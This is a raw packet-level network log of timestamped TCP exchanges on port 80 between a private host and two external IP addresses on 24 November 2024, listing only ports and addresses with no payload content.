Nov 24, 2024 12:24:26.394834995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.395040035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.395422935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.396183014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.396234035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.397003889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.397278070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.397938967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.397998095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.398396015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.398448944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.398895979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.399496078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.399836063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.399882078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.400638103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.400811911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.401806116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.401875973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.402043104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.402439117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.402820110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.403927088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.403942108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.403958082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.403996944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.404025078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.405025959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.406143904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.406158924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.406173944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.406209946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.406236887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.407282114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.407692909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.408402920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.408418894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.408480883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.409450054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.409476042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.410458088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.410686016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.410978079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.411025047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.411734104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.411890030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.412776947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.412842989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.413475990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.413896084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.413961887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.414005995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.414376974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.414438963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.414505959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.414845943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.414988995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.415004969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.415021896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.415055990 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.415060997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.415491104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.415628910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.415673971 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.416066885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.416222095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.416357040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.416412115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.416701078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.417176962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.417898893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.417951107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.418278933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.418308020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.418438911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.418438911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.418474913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.419374943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.419435024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.419737101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.420488119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.420542002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.421302080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.421616077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.421694040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.421766043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.422741890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.423013926 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.423842907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.423933029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.424079895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.424921989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.425621033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.425684929 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.426023006 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.426131010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.426445007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.427145958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.427335978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.428231001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.428296089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.428340912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.428486109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.429341078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.429595947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.430459976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.430521965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.431015968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.431129932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.431767941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.433262110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.434298038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.434431076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.434478045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.434788942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.435036898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.435096979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.435946941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.436064959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.436489105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.437053919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.437180996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.438189983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.438242912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.438338041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.439224958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.439268112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.439344883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.440378904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.440419912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.440495014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.440808058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.441421986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.441601038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.442584038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.442584991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.442904949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.443681002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.443738937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.443820000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.445223093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.490032911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.490159988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.490211010 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.490262032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.490443945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.490485907 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.490583897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.491358995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.491400957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.491947889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.492264986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.492952108 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.493138075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.493155956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.493172884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.493196964 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.493966103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.494083881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.494133949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.494888067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.495718002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.495786905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.495803118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.495835066 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.496601105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.496767044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.496942997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.497483969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.497673035 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.497678995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.498323917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.498466015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.498516083 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.499211073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.500102043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.500200033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.500221968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.500252962 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.500977993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.501053095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.501307011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.501887083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.501904964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.502716064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.502763033 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.503664970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.503681898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.503746986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.503793955 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.504529953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.504601955 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.505417109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.505434036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.505481958 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.505500078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.506234884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.507152081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.507168055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.507200956 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.507205963 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.507230043 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.508012056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.508471966 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.508495092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.508970976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.508986950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.509030104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.509764910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.509807110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.509990931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.510636091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.510849953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.511504889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.511552095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.512231112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.512454987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.512470961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.512501001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.513442993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.513587952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.514153957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.514204979 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.514230013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.515038013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.515146971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.515199900 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.515906096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.516391039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.516433954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.516812086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.516988993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.517024994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.517648935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.517709970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.517880917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.518538952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.518930912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.518979073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.519421101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.519532919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.520323992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.520371914 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.520541906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.521178007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.521307945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.521361113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.522042036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.522552013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.522598982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.522927046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.523294926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.523802042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.523848057 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.523860931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.524693012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.524754047 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.525140047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.525593042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.525609970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.525640011 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.526451111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.527059078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.527297974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.527343035 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.527437925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.528203964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.528492928 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.528840065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.529134035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.529149055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.529983997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.530029058 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.530204058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.530883074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.530927896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.531136036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.531744003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.531785965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.532366037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.532655001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.532669067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.536569118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.558679104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.583005905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.583086967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.583116055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.583436012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.583479881 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.583543062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.584542036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.584585905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.584666967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.584780931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.585653067 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.586002111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.586086035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.586110115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.586472034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.587090015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.587135077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.587182045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.587264061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.588285923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.588340998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.588381052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.588509083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.589463949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.589550972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.589590073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.590464115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.590594053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.591856003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.591906071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.591993093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.592528105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.592921972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.592969894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.592995882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.593873978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.593992949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.594037056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.594815016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.594930887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.595954895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.596000910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.596098900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.596820116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.597111940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.597227097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.598135948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.598187923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.598227978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.599306107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.599400043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.599446058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.600374937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.600482941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.600682020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.601475954 CET	80	49793	31.41.244.11	192.168.2.4
